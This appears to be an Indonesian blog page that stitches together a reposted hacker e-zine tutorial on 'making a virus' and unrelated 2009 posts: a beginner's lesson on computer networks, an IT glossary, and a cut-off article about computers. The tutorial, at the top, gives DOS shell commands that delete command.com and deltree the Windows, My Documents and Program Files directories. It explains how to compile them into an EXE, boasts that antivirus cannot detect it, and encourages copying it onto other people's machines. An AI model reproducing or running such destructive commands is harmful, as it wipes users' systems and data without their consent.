*Segala kesalahan error / kerusakan pada komputer dan semacamnya adalah tanggung jawab anda !
*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab anda

CARA MEMBUAT VIRUS

- ____________________ ___ ___ ________
--\_ _____/\_ ___ \ / \\_____ \--
- __)_ / \ \// ~ \/ \--
- \\ \___\ Y / \--
-/_______ / \______ /\____ /\_______ /-
- -\/ -\/ -\/ -\/-


.OR.ID
ECHO-ZINE RELEASE 09

Author: Yogya Family Code http://www.yogyafree.tk
Online @ www.echo.or.id :: http://ezine.echo.or.id



== Cara membuat program perusak (Seperti Virus) ==

Penulis peduli dengan para newbie yang sedang belajar pemograman sekaligus penulis juga
peduli dengan para progammer yang belum mengenal bahasa BASIC (Maklum kebanyakan progammer
pada langsung lompat ke Pascal, C dan lainnya).

Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer,
tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali,
anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara
membuat program perusak ( seperti virus) yang sangat sederhana sekali tapi sangat mematikan
bahkan bisa dikatakan lebih mengerikan dari program perusak manapun.

Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk
berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda
cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda
dapat mendownloadnya di Google atau cari dirental CD.

Jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code
program perusak.

shell "Perintah DOS"

dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda
membuat :

shell "c:"
shell "cd\"
shell "del command.com"

Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna
komputer tidak dapat booting, kita contohkan yang lain.

shell "c:"
shell "cd\"
shell "deltree /y mydocu~1"
shell "deltree /y windows"
shell "deltree /y progra~1"

Diatas adalah contoh menghapus Directory My Document, Windows dan Program Files, sangat
fatal bukan ?

Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save
lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi,
caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile
lalu anda enter, maka source code tersebut akan menjadi file EXE.

Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada
program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda
dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa BELUM ADA SATU ANTIVIRUS
DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program
ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe

Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan
ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai
jenis Antivirus.

Penulis :
Kurniawan
Yogya Family Code
http://www.yogyafree.tk

Salam :
paktani.tk : "Paktani ini saya, hehe"
/conan/ alias markov : "versi 2005 dah keluar lho",
kartubeben : "Inget akukan :P"

*Segala kesalahan error / kerusakan pada komputer dan semacamnya adalah tanggung jawab anda !
*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab anda

Selasa, 31 Maret 2009

JARINGAN KOMPUTER

Konsep Dasar Jaringan

Jaringan komputer adalah sekelompok komputer yang saling dihubungkan dengan menggunakan suatu protokol komunikasi sehingga antara satu komputer dengan komputer yang lain dapat berbagi data atau berbagi sumber daya (sharing resources).

Sistem pemasangan jaringan dapat dibedakan menjadi dua macam, yaitu :

  1. Jaringan Terpusat
    Adalah jaringan yang terdiri dari beberapa node (workstation) yang terhubung dengan sebuah komputer pusat atau disebut Server. Pada jaringan ini sistem kerja workstation tergantung dari komputer pusat. Dan komputer pusat tugasnya melayani permintaan akses dari workstation.
  2. Jaringan Peer-to-Peer
    Adalah jaringan yang terdiri dari beberapa komputer yang saling berhubungan antara satu dengan lainnya tanpa komputer pusat (server base). Pada masing-masing komputer workstation terdapat media penyimpanan (hard disk) yang berfugsi sebagai server individu.

Pemanfaatan Jaringan Komputer

Pembentukan sebuah jaringan komputer sangan erat dengan manfaat yang dapat diperoleh dengan adanya jaringan tersebut.

  1. Bagi pakai (sharing) peralatan (resources)
    Dengan adanya jaringan komputer, maka pemakain beberapa peralatan komputer seperti printer, hard disk, disket, scanner, CD-ROM dan lainnya dapat dilakukan bersama-sama saling bergantian tanpa harus memindahkan posisi peralatan yang terpasang tersebut.
  2. Bagi pakai software
    Hampir dalam setiap organisasi, kemampuan dalam melakukan bagi pakai berkas atau file data diperlukan setiap hari. Beberapa tipe software PC, khususnya program manajemen basis data atau database, didesain disamping agar bisa dipakai oleh satu pemakai, juga dimungkinkan untuk dipakai bersama-sama dengan pemakai lain dalam waktu yang bersamaan. Atau dengan kata lain, untuk mengakses dan meng-update file-file tadi. Paket yang lain, seperti program pengolah data (word processor) dan spreadsheet, kebanyakan didesaian hanya untuk satu pemakai yang dapat meng-update file.
  3. Komunikasi
    Kominikasi antar pemakai dalam suatu jaringan dapat dilakukan dengan menggunakan e-mail atau tele conference. Sehingga kebutuhan akan komunikasi antar pemakai dapat dipenuhi tanpa harus pindah dari tempat kerjanya. Selain itu pemakai e-mail dapat menekan pemakaian pulsa telepon.
  4. Pemrosesan terpusat (terdistribusi)
    Didalam suatu jaringan komputer, data dapat diolah secara terpusat atau secara terdistribusi. Pemrosesan secara terpusat dilakukan apabila sebuah data yang dibuat oleh tiap pemakai jaringan dikehendaki untuk disatukan dalam komputer pusat. Sebaliknya, pemrosesan terdistribusi dilakukan apabila suatu pekerjaan pengolahan data dari komputer pusat dapat dikerjakan oleh tiap pemakai berdasarkan spesialisasi bidang kerjanya.
  5. Keamanan data
    Keamanan data dapat diatur oleh supervisor (administrator) dengan pemberian hak akses, pembatasan waktu akses dan pemberian password untuk melindungi pemakaian komputer pusat.
  6. Akses internet bersama-sama
    Jika ada salah satu komputer berhubungan ke internet dan komputer tersebut memberikan izin untuk akses ke internet, maka para pengguna jaringan dapat melakukan aktivitas di internet hanya dengan menggunakan satu buah akun di ISP, satu buah modem. Hal ini sangat menghemat dana yang cukup besar.

Komponen Perangkat Keras

Tidak peduli apakah anda sudah memiliki sebuah network atau berniat menginstalasi network baru, anda perlu mengetahui komponen-komponen perangkat keras yang digunakan.

Server

Komputer yang menjalankan sistem operasi jaringan yang berfungsi sebagai server. Server menyediakan file, printer dan pelayanan lain untuk client. Ada dua buah jenis server, yaitu :

  • Server dedicated, server yang tidak memiliki fungsi lain. Ia tidak bisa digunakan sebagai workstation. Untuk melihat jenis dari server tersebut dapat diketahui melalui sistem operasi jaringan yang dijalankannya, misalnya Novell Netware.
  • Server Non-Dedicated, server yang juga bisa berfungsi sebagai workstation. Contohnya : Microsoft Windows NT Server, Mocrosoft Windows NT Workstation, Microsoft Windows 95/98, Unix, Linux, Mac OS/2.

Dari fungsinya, server dapat digunakan :

  • Menyimpan file-file yang digunakan bersama-sama pada hard disk-nya
  • Mengatur komunikasi (seperti pesan e-mail) antar workstation
  • Mengkoordinasikan pencetakan kepada printer yang dipakai bersama-sama
  • Server juga dapat menyimpan CD-ROM yang dapat dipakai oleh para pemakai network
  • Bisa menyimpan tape drive atau drive lain yang digunakan untuk menyimpan hard disk server atau hard disk pada workstation
  • Dengan perangkat lunak dan keras tambahan, server bisa mengarahkan e-mail dari dan ke internet. Server juga bisa mengirimkan fax ke luar jaringan ke mesin-mesin fax yang ada di luar. Kenyataannya server hampir dapat melakukan semua pekerjaan yang mencakup pengiriman data.

Workstation

Komputer yang terhubung ke server dan dapat mengakses data dari server. Workstation menjalankan beragam sistem operasi dan merupakan bagian dari network yang ada. Pada kenyataannya workstation digunakan oleh pemakai secara langsung.

Network Interface Card (NIC)

NIC atau adapter network adalah sebuah komputer hardware yang mutlak dibutuhkan jika kita menginginkan merakit jaringan komputer menggunakan media penghubung kabel. NIC berfungsi menghubungkan server ke sistem pengkabelan network. Berdasarkan tipe slot pada motherboard dibedakan menjadi dua jenis:

  • Tipe slot ISA (slot warna hitam/coklat, lebih panjang)
  • Tipe slot PCI (slot warna putih, lebih pendek)

Switch/Hub (Concentrator/Repeater)

Sistem pengkabelan yang paling populer untuk Network Ethernet menggunakan kabel Unshielded Twisted Pair (UTP) atau kabel terpilin yang terbuka dengan konektor yang mirip dengan konektor telepon. Ini disebut dengan 10BaseT. Untuk setiap adapter network pada setiap server atau workstation, salah satu dari kabel-kabel ini berhubungan ke Hub/Switch atau pusat pengkabelan.

Bridge, Router Dan Gateway

Bridge berfungsi menghubungkan dua network dengan mentransfer data diantara network tersebut. Sebagai contoh, bridge bisa menghubungkan segmen kabel dari arsitektur Token Ring dengan arsitektur Ethernet, atau menghubungkan dua segmen Ethernet menjadi satu. Bridge mampu mengurangi lalu lintas dengan hanya mengirimkan data yang benar-benar diniatkan untuk komputer tujuan. Bridge pintar (intelligent bridge) bisa berbuat lebih baik lagi dengan menyaring atau hanya mengirimkan paket-paket tertentu ke tujuan.

Uninterrutible Power Supply (UPS)

Sudah jelas UPS tidak hanya digunakan oleh network. Anda bisa juga menggunakannya pada setiap alat yang membutuhkan aliran listrik alternatif. UPS adalah alat yang sangat penting bagi perusahaan yang menggunakan komputer untuk produktifitasnya dan tidak ingin kehilangan data atau waktu kerja pegawai. Pada setiap keadaan yang bisa dibayangkan, melalui UPS adalah investasi yang menguntungkan untuk setiap workstation, hub, dan server pada network.

Printer Dan Peripheral Lain

Printer adalah salah satu alasan utama kenapa ada network. Karena printer tidak selalu digunakan oleh setiap pemakai, akan lebih ekonomis jika memakai satu printer bersama-sama. Printer bisa dihubungkan langsung pada workstation atau ke server.
Anda juga bisa memasang scanner, CD-ROM eksternal dan peralatan lain yang berguan dan dapat digunakan secara bersama-sama pada network. Sama seperti yang lainnya, hal ini membutuhkan perangkat lunak dan perangkat keras yang tepat.

KAMUS TI

Istilah-istilah Dalam Dunia Komputer

1.Adapter
Kad rangkaian atau kad interface dalam komputer PC yang dapat digunakan sebagai penghubung ke alat periferal.

2.Algorithm
Secara umum, sebarang kumpulan instruksi yang dapat dilaksanakan untuk suatu tugas khusus. Pada bidang komputer dapat secara eksplisit disendi menjadi kumpulan instruksi dalam bahasa komputer yang memanipulasi suatu jenis data.

3.ANSI.SYS
Device driver yang dapat diinstalasi, tersedia bagi pengguna komputer MS-DOS yang memungkinkan penggunaan instruksi ANSI (Urutan escape) untuk mengendalikan konsul (layar dan keyboard).

4.Arc
Extensi/Sambungan suatu nama fail yang dikompres dengan memakai program ARC lainnya untuk menjimatkan ruang.

5.Batch
Sekelompok dokumen atau record data yang diproses sebagai satu kesatuan.

6.Batch Processing
Berlangsungnya batch fail pada mikro komputer dan suatu simpanan 'batch' instruksi (pentunjuk) sistem operasi yang dilaksanakan satu demi satu tanpa interupsi (gangguan) pengguna.

7.Benchmark
Jenis pengujian untuk mengukur taraf kerja hardware atau software.

8.Bit map
Suatu bit image, khususnya struktur data yang menyatakan bit image yang ada pada memori, yang mewakili suatu gambar yang akan ditampilkan pada layar.

9.Bit/ Binary Digit
Pada pemrosesan atau penyimpanan data, bit merupakan satuan informasi terkecil yang ditangani komputer dan secara fizikal diwakili oleh suatu aksara tunggal yang disalurkan ke media.

10.CAD/ Computer Aided Design
Istilah yang diaplikasikan untuk program-program yang digunakan dalam perancangan perekaan, arkitektur dan model-model ilmiah mulai dari alat-alat sederhana sampai gedung, kapal terbang dan lain-lain.

11.CAM/ Computer Aided Manufacturing
Istilah yang menjelaskan penggunaan komputer dalam manufaktur sebuah produk. Sebuah produk diselesaikan ke dalam satu kumpulan instruksi yang dapat ditransmisikan ke dan digunakan oleh mesin-mesin khusus untuk industri.

12.Cache Memory
Sebuah subsistem memori khusus ke tempat mana nilai-nilai data seringkali digunakan ganda untuk akses cepat. Cache memory menyimpan isi lokasi RAM yang sering diakses dan merupakan alamat penyimpanan item data. Atau dengan kata lain tempat penyimpanan sementara di memori komputer yang digunakan untuk menduplikasikan agar akses lebih cepat.

13.Card
Istilah umum yang digunakan untuk papan rangkaian tercetak (PCB) yang dapat dipasang di dalam komputer untuk menyediakan fungsi tambahan atau kemampuan baru.

14.Capture
Dalam komunikasi, proses pengiriman dan penerimaan data (grafik) ke dalam sebuah fail untuk digunakan lebih lanjut (pengarsipan atau analisis lebih lanjut).

15.CD-I
Kependekan dari compact disc-interactive, sebuah piawaian hardware dan software dalam bentuk CD (Compact Disc) yang dapat mengkombinasikan audio, video dan teks pada CD berkapasiti tinggi.

16.CD-ROM
CD-Read Only Memory media penyimpanan dengan kapasiti tinggi (sekitar 600 MB) yang memakai laser optik untuk membaca data.

17.CD ROM/ Compact Disc-Read Only Memory
Bentuk penyimpanan dengan kapasiti tinggi (sekitar 600 megabyte) dan penggunaan laser optic, bukan magnetik, untuk membaca data.

18.Chip
Kepingan silikon yang sangat kecil dan menakjubkan, tempat memasang seluruh litar elektronik yang terpadu.

19.Computer Graphics Interface/ CGI
Piawaian peringkat lunak yang diterapkan pada peralatan grafik komputer, seperti printer dan plotter.

20.Complier
Sebarang program yang mengubah kumpulan simbol ke kumpulan lain dengan mengikuti sintaksis, atau sebuah program yang menerjemahkan seluruh kod sumber suatu program, yang ditulis dalam bahasa program tingkat tinggi ke dalam kod objek sebelum program dieksekusi.

21.Crash
Kegagalan secara tiba-tiba, biasanya digunakan untuk menjelaskan kegagalan sebuah program atau peripheral seperti penggerak disk, harddisk, dan sebagainya.

22.CRT/ Cathode Ray Tube
Merupakan asas atau nama teknik dari layar televisyen atau layar tampilan sebuah mikrokomputer.

23.Config.sys
Sebuah fail teks khusus yang mengendalikan aspek perilaku sistem operasi dalam komputer PC.

24.COM
Nama alat logik untuk komunikasi, merupakan nama sejumlah port serial (COM1, COM2, COM3, dan COM4) dalam komputer PC melalui perintah sistem operasi DOS. Jika sebuah modem dihubungkan ke salah satu port lain, maka peralatan tersebut ditetapkan sebagai COM1, dan COM2 oleh sistem operasi.

25.Coaxial
Suatu gulung kabel yang menggunakan dua konduktor, sebuah kawat pusat di dalam sebuah pelindung silinder yang dihubungkan dengan tanah/ bumi.

26.Cray
Sebutan untuk jenis komputer yang besar dan cepat, sebesar almari es, 64-bit, kecepatan 165 MHz.

27.Daisy-wheel Printer
Printer yang menggunakan elemen logam atau plastik berbentuk seperti roda atau bunga aster (daisy) dengan tonjolan karakter di setiap ujung jari-jarinya. Cara kerjanya dengan mengetukkkan logam berhuruf timbul ke pita yang menyentuh kertas di bawahnya seperti mesin ketok.

28.Data compression
Memadatkan data atau informasi pada suatu fail agar penyimpanan lebih efisien

29.Desktop Publishing
Proses membuat dokumen cetakan yang seolah-olah dihasilkan secara profesional, meskipun sesungguhnya hanya menggunakan sebuah komputer PC yang dapat mengoperasikan teks dan grafik dan dapat dicetak pada printer berkualiti tinggi.

30.Dial Access
Komunikasi yang dapat diakses melalui fasiliti/kemudahan hubungan antara jaringan yang dihasilkan melalui jalur telefon biasa .

31.DRAM (Dynamic RAM)
Bentuk RAM (Random Access Memory) semikonduktor yang dapat dibaca dan ditulis oleh prosesor atau piranti lainnya. Lokasi penyimpanan data pada rangkaian terpadu (chip) yang mengandung kapasitor dengan kapasiti lebih besar.

32.Download
Proses hantar salinan fail dari komputer jauh ke komputer pemanggil dengan pertolongan modem atau jaringan.

33.DOS
Sinngkatan dari Disk Operating System atau Sistem Pengoperasian Disket/Cakera. Adalah program atau aturcara yang membolehkan komputer beroperasi

34.DBMS
Singkatan dari Data Base Management System atau sistem manajemen asas data. Adalah sebuah lapisan peringkat lunak di antara asas data fisik dan pengguna. DBMS mengatur seluruh permintaan untuk tindakan asas data (seperti pembaruan) dari pengguna.

35.EDO RAM/ Extended Data Out RAM
Chip RAM yang menyertakan komponen logik yang mengorganisi aliran data keluar yang menawarkan aliran data lebih cepat bila ada permintaan dengan susunan berurutan.

36.Expansion Bus
Bus ekspansi adalah slot-slot yang terdapat pada motherboard, dipakai sebagai penghubung motherboard dengan card- card komputer.

37.Encryption/ Enkripsi
Proses pembuatan informasi yang tidak dapat dibaca untuk memproteksi informasi dari pengguna yang tidak sah, khususnya selama transmisi atau ketika informasi tersebut disimpan pada medium magnetik yang boleh diangkat-angkat.

38.Ethernet
Kabel jaringan dan skema protokol akses yang dibuat oleh perusahaan DEC, Intel dan XEROX yang menggunakan topologi (konfigurasi) bus dan mengandalkan pada bentuk akses yang dikenal sebagai CSMA/CD (Carrier Sense Multiple Access with Collision Detection) untuk mengatur lalu lintas pada jalur komunikasi utama.

39.Feature
Kemampuan, atau sifat yang unik, menarik, atau yang diinginkan atau diberikan dari sebuah program atau komputer atau hardware lainnya.

40.Firewall
Software yang dikombinasikan dengan hardware khusus yang menciptakan 'dinding pembatas' agar orang luar yang tidak berhak boleh mengakses suatu laman.

41.GIF/ Graphics Interchange Format
Fail format untuk mengkompres dan menyimpan grafik yang di uploaded (dikirim) ke online services.

42.Grapical User Interface / GUI
Format tampilan yang mengandalkan interface grafik yang ditunjukkan dengan penggunaan tombol gambar (icon) dan daftar menu pull-down pada layar.

43.Groupware
Tipe software/ peringkat tinggi yang mendukung penggunaan objek pada waktu yang bersamaan (seperti dokumen, kalender, dan spreadsheet) oleh banyak pengguna jaringan.

44.Home PC
merupakan jenis komputer pribadi yang dirancang untuk dipakai di rumah dan harganya sesuai dengan barang rumah tangga termasuk dengan fasiliti hiburannya.

45.Host
Sebuah komputer yang terhubung ke jaringan, yang menyediakan layanan-layanan ke komputer lain lebih dari sekedar untuk menyimpan dan mengirim informasi.

46.Hypertext
Metafora untuk menyajikan informasi dimana teks, gambar suara dan tindakan menjadi terkait bersama jaringan asosiasi yang rumit, tidak berurutan, yang memungkinkan melihat topik yang bersangkutan tanpa pedulikan urutan topik.

47.Hypermedia

Integrasi grafik, suara dan video, atau sebarang kombinasi menjadi penyimpanan dan pemanggilan sistem inforamsi asosiasi yang primer.

48.Impact Printer
Jenis printer yang membentuk tanda pada kertas dengan mekanisme yang menyentuh kertas atau menekan pita bertinta pada kertas.

49.Ink-jet Printer
Printer semburan/nonketuk yang menyempurnakan titisan dakwat kecil pada kertas.

50.Intel
Salah satu perusahaan pembuat mikroprosesor yang mempopularkan Pentium yang terkenal di dunia.

51.IDE/ Integrated Devide Elektronic
Suatu jenis interface disk yang menempatkan elektronik pengendaliannya di dalam drive itu sendiri.

52.ISO/ International Piawaiands Organization
Sebenarnya kependekan dari Organization for Piawaiandization yaitu organisasi yang membangun atau pembuat piawai untuk komunikasi data nasional dan internasional.

53.Intranet
Penggunaan teknologi internet pada jaringan internal (setempat) untuk mendistribusikan informasi.

54.Imaging
Proses yang terlibat dalam penangkapan, penyimpanan, penampilan dan pencetakan gambar atau dokumen secara grafik atau dapat juga dikatakan jenis image yang seringkali dipakai pada Web pages karena kemampuannya merender warna latar belakang sebagai transparan.

55.Jack
Konektor yang dirancang khusus untuk menerima stopkontak. Biasanya jack dihubungkan ke rangkaian untuk membuat hubungan audio-video.

56.Log-on atau Log-in
Proses awal 'menggunakan' suatu komputer jaringan yang ditandai dengan mengidentifikasi kata sendi pengguna yang dikenal komputer jaringan.

57.Multiuser system
Sebarang sistem komputer yang dapat dipakai oleh lebih dari satu orang.

58.Modem
Singkatan dari modulator/demodulator; alat komunikasi yang memungkinkan komputer mengirimkan informasi melalui saluran telepon piawaian.

59.Motherboard
Komponen terbesar di dalam PC. Disebut 'mother' karena papan ini menjadi tempat seluruh komponen PC seperti prosesor, memori utama, rangkaian pendukung dan bus controller.

60.MPEG Card
Kependekan dari Motion Picture Expert Group. Yaitu card yang melengkapi CD-ROM agar mampu menampilkan full motion video secara mulus, satu full motion video harus dijalankan pada kecepatan 30 frame per detik (fps). Dengan memasang MPEG card dan CD-ROM drive di PC, kita boleh menonton film CD maupun berkaraoke di PC.

61.MMX/ Microprocessor Multimedia Exstensions
Prosesor Pentium generasi baru yang dapat mendongkrak kinerja multimedia dan komunikasi sampai 60% di atas pentium. Secara umum MMX membuat game/ permainan lebih realistik, video lebih baik dan fasiliti grafik lebih sempurana .

62.Offline
Status dimana suatu alat tidak dapat berkomunikasi dengan atau dikontrol oleh komputer.

63.Online
Aktif dan siap untuk operasi, dapat berkomunikasi dengan atau dikontrol oleh komputer.

64.Postcript Page Description Language
Bahasa pemrograman yang khusus untuk mendefinisikan tampilan dokumen, biasanya menyediakan kapabilitas huruf yang fleksibel dan grafik dengan kualitas tinggi.

65.Plotter
Alat untuk menggambar grafik, diagram dan grafik garis lainnya yang menggunakan pena atau muatan elektrostatik dan toner.

67.Pentium
Sebutan untuk prosesor Intel 80586 disebut juga P5. Prosesor Pentium berasaskan operasi 64-bit dan memiliki 3.1 juta buah transistor.

68.Pentium Pro
Sebutan untuk prosesor Intel 80686 disebut juga P6. Yaitu prosesor berasaskan operasi 64-bit dan memiliki 5.5 juta buah transistor. Sasaran pasar umumnya untuk komputer jaringan dengan sistem operasi Windows NT (New Technology).

69.Peripheral
Istilah dalam komputer yang digunakan untuk peralatan seperti penggerak disik, printer, modem dan lainnya yang dihubungkan ke komputer dan dikendalikan oleh prosesornya.

70.Prosesor
Disebut juga unit pemrosesan pusat chip tunggal, yaitu alat yang menterjemahkan dan melaksanakan instruksi-instruki yang melaluinya, atau alat yang berfungsi sebagai otak komputer.

71.Pixel/ Picture element
Unsur terkecil yang ditampilkan atau dicetak yang dapat ditangani oleh hardware dan software untuk membentuk huruf, angka atau grafik. Atau suatu titik kisi-kisi yang terdiri dari ribuan titik satu per satu untuk membentuk suatu gambar pada layar oleh komputer atau pada kertas printer.

72.Port
Soket, sejenis stopkontak pada hardware komputer, disebut juga konektor input/ output; yaitu tempat untuk meneruskan data masuk dan keluar dari alat komputasi melalui kabel.

73.Power Supply
Alat yang mengubah listrik dari soket listrik menjadi tegangan yang lebih rendah (khususnya 5 sampai 12 volt DC) yang dibutuhkan oleh sistem komputer.

74.Query
Proses pengambilan data dari suatu asas data dan menyediakannya untuk dipakai atau suatu himpunan tertentu yang berisi instruksi untuk mengambil data tertentu secara berulang.

75.Real time
Operasi real time adalah lingkungan di mana aktiviti mesin sesuai dengan persepsi manusia mengenai waktu atau di mana operasi komputer berjalan dengan kecepatan dengan proses fizikal atau eksternal.

76.Resolution/ Resolusi
Kejernihan atau kehalusan detil yang diperoleh monitor atau printer dalam menghasilkan gambar. Resolusi biasanya dipakai untuk menunjukkan jumlah total pixel yang ditampilkan secara horisontal atau vertikal pada tampilan video.

78.Router
Alat perantara pada jaringan komunikasi yang melancarkan pengiriman pesan.

79.Scan
Menggerakkan alat peka cahaya sepanjang permukaan yang ditempati gambar seperti halaman teks, mengkonversi berbagai bidang pada permukaan menjadi digit biner yang dapat diinterpretasi oleh komputer.

80.Spreadsheet program
Paket program komputer yang digunakan untuk memproses data keuangan dan data lain yang berhubungan dengan angka seperti anggaran, analisa cash flow, dan sebagainya.

81.Shareware
Program yang boleh digunakan secara terhad untuk jangka waktu percobaan tertentu.

82.SRAM/ Static RAM
Chip RAM yang dapat menyimpan sekitar seperempat data pada chip DRAM tetapi jauh lebih cepat dari pada DRAM. Harganya masih mahal.

83.Stack
Daerah memori yang dicadangkan dimana program menyimpan data status, seperti prosedur dan fungsi yang memanggil return address, meneruskan parameter, dan (kadang-kadang) variabel setempat.

84.Storage
Suatu alat yang secara fisik dapat digunakan menyimpan data atau informasi mengenai fail/ arsip dan dapat dibaca komputer.

85.SIMM
Singkatan dari Single In-line Memory Module. Papan rangkaian kecil yang dirancang untuk menempati chip/IC memori.

86.SCSI/Small Computer System Interface
Interface paralet dengan tahap kecepatan tinggi yang digunakan untuk menghubungkan komputer ke alata lainnya seperti harddisk, printer, atau ke komputer lain secara jaringan.

87.Serial port
Konektor/ soket untuk lokasi input/output untuk transmisi data serial seperti printer atau mouse.

88.Sound clip
Koleksi suara pada sebuah disk yang dapat diambil dan digabungkan ke dalam dokumen dengan bantuan software atau hardware tertentu.

89.Token Ring
Struktur objek data yang unik atau pesan yang berkeliling secara bersambung di antara node-node suatu jaringan yang bertopologi gelang (topologi tertutup, ring) dan menggambarkan status yang ada di jaringan.

90.Universal Serial Bus/ USB
Kombinasi hardware, software dan kabel listrik yang menghasilkan suatu cara berkomunikasi antara semua bagian komputer yang berlainan secara universal, satu per satu.

91.Validasi
Pengujian untuk mengukur persesuaian dengan piawaian .

92.Visual Image
Deskripsi gambar yang disimpan dan dirakam dengan berbagai cara dan merupakan suatu salinan atau reproduksi yang diedit untuk sebuah citra di komputer.

93.Video Card
Card yang dapt mengubah data analog dari kamera, VCR, laser disc, maupun televisi menjadi data digital, sehingga dapat disimpan di harddisk. Selanjutnya data video diolah oleh komputer dan hasilnya dapat ditampilkan di layar komputer, pesawat TV, atau dirakam ke kaset video.

94.VGA/ Video Graphic Array
Merupakan video adapter yang diperkenalkan oleh IBM pada 1987, yang menduplikasikan sampel suatu variabel fisik, seperti suara. Makin tinggi samping rate atau makin banyak sampel diambil persatuan waktu, makin rapat hasil digitasi menyerupai aslinya.

95.Wavetable synthesizer
Sistem yang berdiri sendiri, membangkitkan suara digital yang bukan karena manipulasi alat fisik atau rekaman suara dan dapat menghasilkan suara yang realistis tanpa gangguan.

96.WORM/ Write Once, Read Many
Jenis disk optik yang dapat dan dibaca ulang tetapi tidak dapat diubah setelah dirakam dengan ruang penyimpanan kapasiti tinggi.

97.Worksheet
Istilah yang digunakan untuk menggambarkan fail data yang dibentuk dan dipakai oleh dan dengan program lembar kerja elektronik. Contoh MS Excel

98.Xing MPEG Software
Program yang dapat memainkan aplikasi MPEG berupa filem-filem dalam media CD/ Video CD.

99.ZIP
Extensi/Sambungan ada nama fail yang mengindikasikan bahwa fail tersebut sudah dikompres oleh program PKZIP. Contoh motor.zip

100.CookieSuatu file yang disimpan ke dalam harddisk Anda ketika mengakses halaman homepage tertentu. File ini seringkali berisi informasi seperti kebiasaan surfing Anda, dan pilihan apa saja yang telah Anda lakukan, pada kunjungan berikutnya homepage dapat mengenali Anda.

101.DatabaseMerupakan suatu himpunan file yang terhubung secara logik yang memiliki common access. Semua besaran data ditujukan pada beberapa sistem yang berhubungan. Sebuah databasee dapat memiliki beberapa data item yang bisa dipasang ke dalam banyak tipe perekaman yang berbeda.

102.Dial Up ConnectionKoneksi antara dua komputer menggunakan saluran telepon dan modem. Koneksi Dial Up merupakan cara yang paling banyak digunakan untuk mengakses internet.

103.Directory CachingMerupakan salah satu feature dari Novell NetWare yang bertujuan untuk meningkatkan performance. Dalam directory caching, salinan FAT dan directory entry table ditulis ke dalam memory server jaringan. Sebuah lokasi file kemudian dapat dibaca dari memori, yang mana lebih cepat daripada pembacaan lewat disk.

104.Directory HashingMerupakan suatu metode pengindeksan lokasi file pada suatu disk, sehingga dapat mempercepat waktu yang diperlukan untuk mencari letak file pada disk tersebut.

105.Disk MirroringSuatu feature dari Novell NetWare yang bertujuan untuk melindungi data dari kesalahan hardware jaringan. Dengan disk mirroring, semua data pada sebuah hard disk diduplikasikan pada hard disk kedua pada saluran yang sama. Semua penulisan pada disk.

Rabu, 18 Maret 2009

Komputer

Komputer

Jenis komputer super yang dipakai oleh NASA di Columbia
Jenis komputer super yang dipakai oleh NASA di Columbia

Komputer adalah alat yang dipakai untuk mengolah data menurut prosedur yang telah dirumuskan. Kata computer semula dipergunakan untuk menggambarkan orang yang perkerjaannya melakukan perhitungan aritmatika, dengan atau tanpa alat bantu, tetapi arti kata ini kemudian dipindahkan kepada mesin itu sendiri. Asal mulanya, pengolahan informasi hampir eksklusif berhubungan dengan masalah aritmatika, tetapi komputer modern dipakai untuk banyak tugas yang tidak berhubungan dengan matematika.

Dalam definisi seperti itu terdapat alat seperti slide rule, jenis kalkulator mekanik mulai dari abakus dan seterusnya, sampai semua komputer elektronik yang kontemporer. Istilah lebih baik yang cocok untuk arti luas seperti "komputer" adalah "yang memproses informasi" atau "sistem pengolah informasi."

Sekalipun demikian, definisi di atas mencakup banyak alat khusus yang hanya bisa memperhitungkan satu atau beberapa fungsi. Ketika mempertimbangkan komputer modern, sifat mereka yang paling penting yang membedakan mereka dari alat menghitung yang lebih awal ialah bahwa, dengan pemrograman yang benar, semua komputer dapat mengemulasi sifat apa pun (meskipun barangkali dibatasi oleh kapasitas penyimpanan dan kecepatan yang berbeda), dan, memang dipercaya bahwa mesin sekarang bisa meniru alat perkomputeran yang akan kita ciptakan di masa depan (meskipun niscaya lebih lambat). Dalam suatu pengertian, batas kemampuan ini adalah tes yang berguna karena mengenali komputer "maksud umum" dari alat maksud istimewa yang lebih awal. Definisi dari "maksud umum" bisa diformulasikan ke dalam syarat bahwa suatu mesin harus dapat meniru Mesin Turing universal. Mesin yang mendapat definisi ini dikenal sebagai Turing-lengkap, dan yang pertama mereka muncul pada tahun 1940 di tengah kesibukan perkembangan di seluruh dunia. Lihat artikel sejarah perkomputeran untuk lebih banyak detail periode ini.

Komputer Benam

